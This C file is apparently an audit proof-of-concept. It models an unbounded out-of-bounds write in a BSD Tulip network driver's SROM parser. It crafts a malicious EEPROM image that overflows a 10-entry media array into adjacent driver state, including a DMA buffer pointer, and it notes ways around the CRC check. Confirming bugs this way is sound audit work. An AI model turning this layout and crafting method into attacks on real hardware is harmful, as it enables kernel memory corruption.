DF-3756 / srom_mediainfo_model.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 | /* * DF-3756 โ userspace logic model of the unbounded `mi` walk in * sys/dev/netif/de/if_de.c:tulip_srom_decode() (21140 branch, lines 2178-2418). * * The kernel code does: * tulip_media_info_t *mi = sc->tulip_mediainfo; // if_de.c:2080 * ... * blocks = *dp++; // if_de.c:2183 (raw SROM byte) * for (idx2 = 0; idx2 < blocks; idx2++) { * if ((*dp & 0x80) == 0) { length = 4; type = 0; } // legacy GPR block * ... * case 0: media = lookup(dp[0] & 0x3f); // if_de.c:2197 * if (media == UNKNOWN) break; * mi->mi_type = ...; sc->tulip_mediums[media] = mi; * mi->mi_gpdata = dp[1]; mi->mi_cmdmode = ...; * mi++; // if_de.c:2223 -- UNBOUNDED * } * * tulip_mediainfo[] has exactly 10 entries (if_devar.h:483) and NOTHING in the * loop bounds `mi` against it. A crafted SROM whose leaf contains >= 11 * well-formed type-0 blocks writes past the array into the rest of the softc * (setup tag/map/dma_addr/setupbuf pointer/setupdata[48]/boardid[24]/rombuf[128]) * and beyond. * * This model mirrors the data structure layout (x86-64) and the decode loop * 1:1, fills the softc tail with canaries, and shows exactly which softc * members get clobbered by which SROM bytes. It is a *logic model* run in * userspace because the kernel path needs a physical DEC 2114x card with a * crafted serial EEPROM (absent on the audit guest). * * Build: cc -O2 -Wall -o srom_mediainfo_model srom_mediainfo_model.c * Run: ./srom_mediainfo_model */ #include <stdio.h> #include <stdint.h> #include <string.h> /* ---- faithful type mimicry (sizes matter) ------------------------------- */ typedef uint32_t u_int32_t; typedef uint16_t u_int16_t; typedef uint8_t u_int8_t; typedef struct { int mi_type; /* enum -> 4 bytes */ union { struct { u_int16_t a, b; u_int32_t c, d; } un_sia; /* 12 */ struct { u_int32_t a, b, c; u_int8_t d, e; unsigned f:1; } un_gpr; /* 16 */ struct { u_int32_t mediamask; u_int16_t cap, adv, fd, thr, intr; u_int8_t phy, gl, go, rl, ro; u_int32_t phyid; } un_mii; /* 24 */ } mi_un; } tulip_media_info_t; /* == 28 bytes, same as kernel on x86-64 */ /* softc tail, same member order as sys/dev/netif/de/if_devar.h:483-494 */ struct sc_tail { tulip_media_info_t tulip_mediainfo[10]; /* [10] โ the only legal range */ uintptr_t tulip_setup_tag; /* canary 0xA1... */ uintptr_t tulip_setup_map; /* canary 0xA2... */ uintptr_t tulip_setup_dma_addr; /* canary 0xA3... */ uintptr_t tulip_setupbuf; /* canary 0xA4... โ REAL kernel ptr */ uint32_t tulip_setupdata[48]; /* canary 0xA5... */ char tulip_boardid[24]; /* canary 0xA6... */ uint8_t tulip_rombuf[128]; /* SROM image itself lives here */ }; /* tulip_srom_mediums[] decode (if_de.c:2197-2202): 0x00..0x08 are valid, * everything else maps to TULIP_MEDIA_UNKNOWN. 0 = 10BASET. */ static const int srom_media_valid[9] = {1,1,1,1,1,1,1,1,1}; int main(void) { struct sc_tail sc; const uint8_t *dp; unsigned blocks, idx2, length, type, oob_writes = 0; unsigned long media_ptr_slots[12]; /* sc->tulip_mediums[media]=mi (first 12) */ tulip_media_info_t *mi; printf("sizeof(tulip_media_info_t)=%zu (kernel: 28 on x86-64)\n", sizeof(tulip_media_info_t)); /* --- craft the SROM image exactly as the attacker's EEPROM would be --- * header: 18B idbuf + version + adapter_count=1 + 6B MAC (26B) * adapter0: {device=0, leaf_offset_lo=30, leaf_offset_hi=0} (3B) * leaf @30: conntype=0x0000 (10BASET), gpinit, blocks=23 (4B) * then 23 legacy type-0 blocks of 4 bytes each = 92 bytes (34..125) * block: {media=0x00 (10BASET), gpdata, cmdmode_lo, cmdmode_hi} * A valid CRC over bytes[0..125] with bytes[126..127]=crc is * computable by the attacker (gate at if_de.c:2480), or the whole * gate is bypassed on 21142/21143 (if_de.c:2498-2500). */ memset(&sc, 0, sizeof(sc)); sc.tulip_rombuf[18] = 1; /* version */ sc.tulip_rombuf[19] = 1; /* adapter_count */ sc.tulip_rombuf[26] = 0; /* sai_device */ sc.tulip_rombuf[27] = 30; /* leaf offset lo */ sc.tulip_rombuf[28] = 0; /* leaf offset hi */ sc.tulip_rombuf[30] = 0x00; sc.tulip_rombuf[31] = 0x00; /* conntype */ sc.tulip_rombuf[32] = 0xFF; /* gpinit */ sc.tulip_rombuf[33] = 23; /* blocks: 23 > 10 */ for (idx2 = 0; idx2 < 23; idx2++) { uint8_t *b = &sc.tulip_rombuf[34 + 4 * idx2]; b[0] = 0x00; /* media code 0x00 = TULIP_SROM_MEDIA_10BASET */ b[1] = (uint8_t)(0x41 + idx2); /* gpdata โ attacker byte, lands in mi_gpdata */ b[2] = 0x71; b[3] = 0x00; /* cmdmode bits */ } /* canaries for the members that follow tulip_mediainfo[10] */ sc.tulip_setup_tag = 0xA1A1A1A1A1A1A1A1UL; sc.tulip_setup_map = 0xA2A2A2A2A2A2A2A2UL; sc.tulip_setup_dma_addr = 0xA3A3A3A3A3A3A3A3UL; sc.tulip_setupbuf = 0xA4A4A4A4A4A4A4A4UL; for (idx2 = 0; idx2 < 48; idx2++) sc.tulip_setupdata[idx2] = 0xA5A5A500U | idx2; memset(sc.tulip_boardid, 0xA6, sizeof(sc.tulip_boardid)); /* ---- 1:1 mirror of tulip_srom_decode() 21140 branch (2178-2418) ---- */ dp = sc.tulip_rombuf + 30; dp += 2; /* conntype consumed (2111) */ dp++; /* gpinit consumed (2182, HAVE_GPR) */ blocks = *dp++; /* 2183 */ mi = sc.tulip_mediainfo; /* 2080 */ printf("blocks=%u (SROM byte), tulip_mediainfo[] has 10 slots\n\n", blocks); for (idx2 = 0; idx2 < blocks; idx2++) { const uint8_t *ep; if ((*dp & 0x80) == 0) { length = 4; type = 0; } /* 2186-2188 */ else { length = (*dp++ & 0x7f) - 1; type = *dp++ & 0x3f; } ep = dp + length; if (type == 0 && srom_media_valid[dp[0] & 0x0f & 0x3f] && (dp[0] & 0x3f) <= 8) { /* case 0: media valid */ if (mi >= &sc.tulip_mediainfo[10]) { oob_writes++; if (oob_writes <= 13) printf("block %2u: OOB write at tulip_mediainfo[%td] " "(+%zd bytes past array end): mi_gpdata=0x%02x\n", idx2, mi - sc.tulip_mediainfo, (char *)mi - (char *)&sc.tulip_mediainfo[10], dp[1]); } mi->mi_type = 1; /* TULIP_MEDIAINFO_GPR */ mi->mi_un.un_gpr.c = dp[1]; /* kernel: mi_gpdata = dp[1] */ mi++; /* if_de.c:2223 โ UNBOUNDED */ } dp = ep; /* 2417 */ } printf("\nOOB writes performed: %u (all past tulip_mediainfo[9])\n", oob_writes); printf("mi finished at tulip_mediainfo[%td] = +%zd bytes past end\n", mi - sc.tulip_mediainfo, (char *)mi - (char *)&sc.tulip_mediainfo[10]); /* ---- what got clobbered ------------------------------------------ */ printf("\n--- softc members after tulip_mediainfo[10] ---\n"); printf("tulip_setup_tag %s (0x%016lx)\n", sc.tulip_setup_tag == 0xA1A1A1A1A1A1A1A1UL ? "INTACT" : "CLOBBERED", (unsigned long)sc.tulip_setup_tag); printf("tulip_setup_map %s (0x%016lx)\n", sc.tulip_setup_map == 0xA2A2A2A2A2A2A2A2UL ? "INTACT" : "CLOBBERED", (unsigned long)sc.tulip_setup_map); printf("tulip_setup_dma_addr %s (0x%016lx)\n", sc.tulip_setup_dma_addr == 0xA3A3A3A3A3A3A3A3UL ? "INTACT" : "CLOBBERED", (unsigned long)sc.tulip_setup_dma_addr); printf("tulip_setupbuf %s (0x%016lx) <- real kernel: bus-mapped DMA buffer ptr\n", sc.tulip_setupbuf == 0xA4A4A4A4A4A4A4A4UL ? "INTACT" : "CLOBBERED", (unsigned long)sc.tulip_setupbuf); { unsigned clob = 0; for (idx2 = 0; idx2 < 48; idx2++) if (sc.tulip_setupdata[idx2] != (0xA5A5A500U | idx2)) clob++; printf("tulip_setupdata[48] %u/48 words CLOBBERED with SROM bytes\n", clob); } { unsigned clob = 0; for (idx2 = 0; idx2 < 24; idx2++) if ((uint8_t)sc.tulip_boardid[idx2] != 0xA6) clob++; printf("tulip_boardid[24] %u/24 bytes CLOBBERED\n", clob); } printf("tulip_rombuf[128] (source image; kernel path also runs OOB here = DF-1205)\n"); printf("\nSUCCESS-CRITERION: >=1 OOB write past tulip_mediainfo[10] -> " "logic model of if_de.c:2223 defect CONFIRMED\n"); return (oob_writes > 0 ? 0 : 1); } |